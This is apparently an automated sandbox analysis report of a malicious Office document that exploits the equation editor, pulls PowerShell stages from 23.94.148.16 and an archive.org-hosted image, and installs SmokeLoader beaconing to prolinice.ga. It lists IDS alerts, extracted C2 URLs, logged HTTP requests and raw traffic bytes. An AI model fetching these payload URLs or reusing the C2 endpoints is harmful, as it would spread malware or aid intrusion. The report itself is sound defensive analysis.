Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443
Source: global traffic	TCP traffic: 207.241.232.154:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 207.241.232.154:443

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.22:49167 -> 185.251.91.119:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.22:49166 -> 185.251.91.119:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.22:49168 -> 185.251.91.119:80
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE Malicious Base64 Encoded Payload In Image : 207.241.232.154:443 -> 192.168.2.22:49164

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe	Network Connect: 185.251.91.119 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: prolinice.ga

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://prolinice.ga/index.php
Source: Malware configuration extractor	URLs: http://vilendar.ga/index.php

Source: global traffic	HTTP traffic detected: GET /27/items/vbs_20240726_20240726/vbs.jpg HTTP/1.1Host: ia803104.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /90/WEFV.txt HTTP/1.1Host: 23.94.148.16Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 207.241.232.154 207.241.232.154

Source: Joe Sandbox View	ASN Name: INTERNET-ARCHIVEUS INTERNET-ARCHIVEUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: SPRINTHOSTRU SPRINTHOSTRU

Source: Joe Sandbox View

JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

Source: Network traffic

Suricata IDS: 2829848 - Severity 2 - ETPRO MALWARE SmokeLoader encrypted module (3) : 185.251.91.119:80 -> 192.168.2.22:49166

Source: global traffic	HTTP traffic detected: GET /90/verynicebuttersmoothcakeicream.tIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 23.94.148.16Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cpbrvhywlnsy.com/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: prolinice.ga
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://prolinice.ga/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 1395Host: prolinice.ga
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wehtwifahcxeheu.com/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 109Host: prolinice.ga

Source: unknown	HTTPS traffic detected: 207.241.232.154:443 -> 192.168.2.22:49164 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 207.241.232.154:443 -> 192.168.2.22:49164 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16
Source: unknown	TCP traffic detected without corresponding DNS query: 23.94.148.16

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FBE20470-930D-4657-894E-45CE94F633FB}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /27/items/vbs_20240726_20240726/vbs.jpg HTTP/1.1Host: ia803104.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /90/verynicebuttersmoothcakeicream.tIF HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 23.94.148.16Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /90/WEFV.txt HTTP/1.1Host: 23.94.148.16Connection: Keep-Alive

Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: ia803104.us.archive.org
Source: global traffic	DNS traffic detected: DNS query: prolinice.ga

Source: unknown

HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://cpbrvhywlnsy.com/User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: prolinice.ga

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Sat, 31 Aug 2024 17:25:32 GMTserver: Apache/2.4.59 (Debian)transfer-encoding: chunkedcontent-type: text/html; charset=utf-8Data Raw: 33 37 44 33 0d 0a 18 00 00 00 a0 5f e8 0a 27 e8 c8 da 8d 2a 7f ba 53 e4 29 1d ec 5d a3 3f 18 cd 8f ba 00 ca 2c 05 00 7c e1 f7 57 09 03 02 00 09 00 9e 03 00 00 53 1f 7d 22 77 32 62 71 76 3f 4f 55 52 12 42 00 c9 32 ee 68 fe 0f ca 76 74 07 d6 d6 f9 b8 92 29 e8 55 92 92 3e c8 50 dd 24 a4 99 ce 5c 90 b9 3b fc 51 49 c0 0d f0 19 d3 e9 92 2a 7a f7 09 00 bb 7a b8 01 84 b7 a3 64 8b 0b f3 9f 79 57 fa 26 ce 46 fb 76 8c c7 a7 e0 22 d1 2d c9 1e 43 c3 ef c1 4c dd a0 af 3d b8 a8 a5 fb c0 70 8e 98 0e df 4b cc 40 42 f2 70 5e a2 6b 51 b2 9f 66 73 fe c7 15 ac cd f6 9d 88 6a 44 07 1e 8d 8b 6b 24 18 2b 4b 2a ec 81 b7 50 50 a4 4e ad cf 32 5c c0 15 b4 57 90 1b 0d ee 6c f7 54 23 c9 ed 8e bc 36 a0 b4 7a c0 a1 84 b8 ba d4 a3 62 52 1c ae d9 4b 5a 18 a9 1c db 20 3a d0 44 3f 55 06 6b bf 4b 63 27 f1 ac 4f fe d1 04 8b 3f ba 91 69 f9 fb 81 fe 97 af cd a6 40 69 e9 33 b2 a6 45 cc f6 83 0e 7c 20 5b 7d 1d a4 53 32 fe 9d cc 54 71 e4 4c 20 4c b2 37 b3 8e 0f 1b d8 40 78 f3 c6 c7 84 1a aa 21 d4 fa 17 f2 46 ab 2a 9b db a1 fa 45 c5 f8 a8 f5 78 d7 7b c7 34 f8 40 a6 ce 9e 68 07 d1 3b db 70 67 ae de de 5f 1b 81 d3 b1 e8 be 06 9b bd 51 aa 40 d1 5b 4e 04 32 d7 97 2a e0 96 cc f3 08 be 06 f4 ef f1 48 d0 25 d9 73 3b 22 c7 0f b5 72 bf c3 e5 81 32 31 c9 f4 a1 4c ee 90 56 05 52 a9 1c 76 6f 99 dc ff 39 62 09 4e 0e 7c a8 50 2c 99 64 73 2c f8 8e 19 ec 5e 4c 2b 1b 6a 20 6d e3 2e 26 3e f2 ee 67 21 84 c5 3d 2f 72 90 3a ea 6c 5f b3 01 1d 55 2a 97 6b 1b 48 d7 18 d0 92 ef 20 3e 28 8e b6 b7 0f 4f c2 e3 41 ee a3 e2 e5 4f 7c 04 cf 84 8c 71 e5 91 3b ef 9c 40 2b b4 81 b3 6f 0c e5 ea f4 a9 02 25 53 be 6e 6e 71 ce db f8 20 6e 55 5b a4 66 26 ed 43 1b d2 35 1a 47 54 5d 20 0c 1b 03 8a 54 94 fb f1 d9 5d 91 01 a9 f6 90 b3 3e c6 10 cc 67 ca 7b 76 0b 97 06 5b d8 d2 e2 0f 79 af ed 1b 53 92 e1 e9 cc 7a b6 b9 98 42 38 a5 00 49 58 88 86 83 3c a1 5c d3 72 7d ad bc 8d 80 b4 ea 85 32 d9 b9 33 ce ae d5 90 f4 bb 3a c9 3d 3b 48 a7 e3 58 dd be d0 8a aa 01 3e 48 f4 19 2b 95 d5 65 ff b4 78 a1 d2 cd 69 0a 91 f7 6a 18 3d 4f 75 b1 bc 1b b1 60 c8 27 8c 70 db 33 0d a6 f2 ed 80 8d aa 7c 4a 8c 59 8c 3d 99 a9 52 09 0f d9 5e 58 eb 6f 11 c9 5b 23 0e a9 04 11 b7 a5 6b eb 6e 85 01 89 5e cf 54 06 96 02 2d c3 92 6c 61 40 ee 39 ff fa 3e 0d c6 24 8f 1c 02 ac 7a ab 13 d0 be a8 cb 90 7c 6b d5 fb ae 58 ee db 76 10 36 cb d3 c0 5d 0e e0 08 4f 38 94 52 92 70 bf 7c bd c4 0d 6f f9 74 7a 41 a6 59 ea 90 d6 8f 1b 32 75 08 c5 9a 2d a0 6a 8b fd 6b c4 c2 37 35 48 bd 8c 96 77 e4 62 45 8d 49 72 d0 11 c5 42 47 60 cf 79 cc d5 44 76 86 c6 57 e5 fc f1 b9 98 00 52 87 30 6d b6 64 39 d2 05 09 e3 9f 97 c0 b2 ad 6e c6 de 2f e7 0e 6f d3 63 06 8f 24 00 37 f9 3b 90 9e fb 4b 43 08 3f 69 cf 54 36 03 b2 63 54 a5 44 81 f8 93 a5 ad 2f f5 7f 9b ad 6d 23 d8 52 1c 7c d0 7e ed e5 00 cd 59 0c 72 ff c8 4d 8a 9f 4d 22 6a 89 67 05 b3 b9 2f fa 37 ad b4 05 f0 4c 9c d2 83 fb c8 40 2b ca 87 d7 d8 99 59 38 07 be e8 b3 e1 23 2a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Sat, 31 Aug 2024 17:25:40 GMTserver: Apache/2.4.59 (Debian)content-length: 409content-type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 39 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 70 72 6f 6c 69 6e 69 63 65 2e 67 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.59 (Debian) Server at prolinice.ga Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Sat, 31 Aug 2024 17:26:53 GMTserver: Apache/2.4.59 (Debian)content-length: 7content-type: text/html; charset=utf-8Data Raw: 03 00 00 00 a0 5f e8 Data Ascii: _
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Sat, 31 Aug 2024 17:26:53 GMTserver: Apache/2.4.59 (Debian)content-length: 7content-type: text/html; charset=utf-8Data Raw: 03 00 00 00 a0 5f e8 Data Ascii: _

Source: explorer.exe, 0000000C.00000002.630809600.00000000078EA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Http://prolinice.ga/index.phpBB74
Source: powershell.exe, 00000007.00000002.363808831.0000000002749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.148.16
Source: powershell.exe, 00000007.00000002.363808831.0000000002749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23.94.148.16/90/WEFV.txt
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000001.00000002.348951439.0000000000534000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000001.00000002.348951439.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://23.94.148.16/90/verynicebuttersmoothcakeicream.tIF
Source: EQNEDT32.EXE, 00000001.00000002.348951439.000000000053F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://23.94.148.16/90/verynicebuttersmoothcakeicream.tIFj
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000007.00000002.363633576.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c
Source: explorer.exe, 0000000C.00000002.628664936.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374687564.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com
Source: powershell.exe, 00000007.00000002.365103207.0000000003519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: explorer.exe, 00000013.00000002.432154791.00000000003DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prolinice.ga/
Source: explorer.exe, 00000013.00000002.432154791.00000000003DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prolinice.ga/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 00000013.00000002.432154791.0000000000394000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.419574794.000000000028E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.421675719.0000000000404000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.628871617.0000000000744000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.628530287.000000000028E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000002.628826534.00000000003C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.628600513.000000000033E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000002.628599452.0000000000444000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.628577670.00000000003DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prolinice.ga/index.php
Source: explorer.exe, 00000013.00000002.432154791.0000000000394000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.419574794.000000000028E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.421675719.0000000000404000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.628871617.0000000000744000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.628530287.000000000028E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000002.628826534.00000000003C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.628600513.000000000033E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000002.628599452.0000000000444000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.628577670.00000000003DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prolinice.ga/index.phpMozilla/5.0
Source: explorer.exe, 00000013.00000002.432154791.00000000003D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://prolinice.ga/ndex.php
Source: powershell.exe, 00000005.00000002.368085766.00000000029D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.363808831.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 0000000C.00000002.630809600.00000000078EA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.630243639.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://wehtwifahcxeheu.com/
Source: explorer.exe, 0000000C.00000002.630243639.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://wehtwifahcxeheu.com/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 0000000C.00000002.628664936.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374687564.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: explorer.exe, 0000000C.00000000.375066007.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.630243639.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.630243639.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.375317134.0000000007967000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.629766627.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.375066007.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374893412.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 0000000C.00000000.375066007.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.630243639.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.630243639.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.375317134.0000000007967000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.629766627.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.375066007.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374893412.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 0000000C.00000002.629766627.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374893412.000000000260E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerxe
Source: explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: powershell.exe, 00000007.00000002.365103207.0000000003519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.365103207.0000000003519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.365103207.0000000003519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000007.00000002.363808831.0000000002629000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia803104.us.archive.org
